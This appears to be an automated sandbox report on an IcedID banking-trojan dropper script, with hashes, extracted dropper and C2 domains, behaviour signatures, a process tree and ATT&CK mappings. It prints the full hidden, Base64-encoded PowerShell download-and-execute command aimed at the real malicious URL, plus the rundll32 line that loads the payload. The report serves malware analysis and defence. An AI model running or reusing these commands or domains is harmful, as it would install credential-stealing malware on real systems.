Analysis

  • max time kernel
    123s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-03-2023 06:15

General

  • Target

    Unpaid_03_17_Copy#82.js

  • Size

    12KB

  • MD5

    bef0e81b04fdf1c19a5c7fee8e1974e4

  • SHA1

    956020f277d64abfe742ba8687853f6fc5052689

  • SHA256

    f1481a3f86cdaee1e707bb93e26adedf3bb7665ed840431c6c1c473a41e9fa67

  • SHA512

    940d4629db1a91d292c8537cad16b16bc04ac3b2f28f3dcf2eeba7910b22b841d4ec815f66a88c82e9258dff04ea8bcd13626752a063ef313416c0f9a6404d2c

  • SSDEEP

    192:zm0KUNutRNkR3aEfiHEiAuaWF3Kc0medXPcNjPnqUOR6n6m2Kj:z4UNu3NIaXEifRKc08Nj/rjF

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://conalom.top/gatef1.php

Extracted

Family

icedid

Campaign

946873669

C2

umoxlopator.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Unpaid_03_17_Copy#82.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4596
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\kuDLmSqd.dat,init
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:3456

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ll2cgspw.ulu.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\kuDLmSqd.dat
    Filesize

    797KB

    MD5

    b0ad6d2d4c031bdba529c80b9b2957e7

    SHA1

    153a5ba4665cbcd79afff27d27864f498284d9c0

    SHA256

    9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

    SHA512

    f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

  • C:\Users\Admin\AppData\Local\Temp\kuDLmSqd.dat
    Filesize

    797KB

    MD5

    b0ad6d2d4c031bdba529c80b9b2957e7

    SHA1

    153a5ba4665cbcd79afff27d27864f498284d9c0

    SHA256

    9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

    SHA512

    f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

  • memory/3456-153-0x00000203616C0000-0x00000203616C9000-memory.dmp
    Filesize

    36KB

  • memory/3456-160-0x00000203616B0000-0x00000203616B4000-memory.dmp
    Filesize

    16KB

  • memory/4596-136-0x000001BF6A500000-0x000001BF6A522000-memory.dmp
    Filesize

    136KB

  • memory/4596-144-0x000001BF699D0000-0x000001BF699E0000-memory.dmp
    Filesize

    64KB

  • memory/4596-145-0x000001BF699D0000-0x000001BF699E0000-memory.dmp
    Filesize

    64KB

  • memory/4596-146-0x000001BF699D0000-0x000001BF699E0000-memory.dmp
    Filesize

    64KB

  • memory/4596-152-0x000001BF6A530000-0x000001BF6A74C000-memory.dmp
    Filesize

    2MB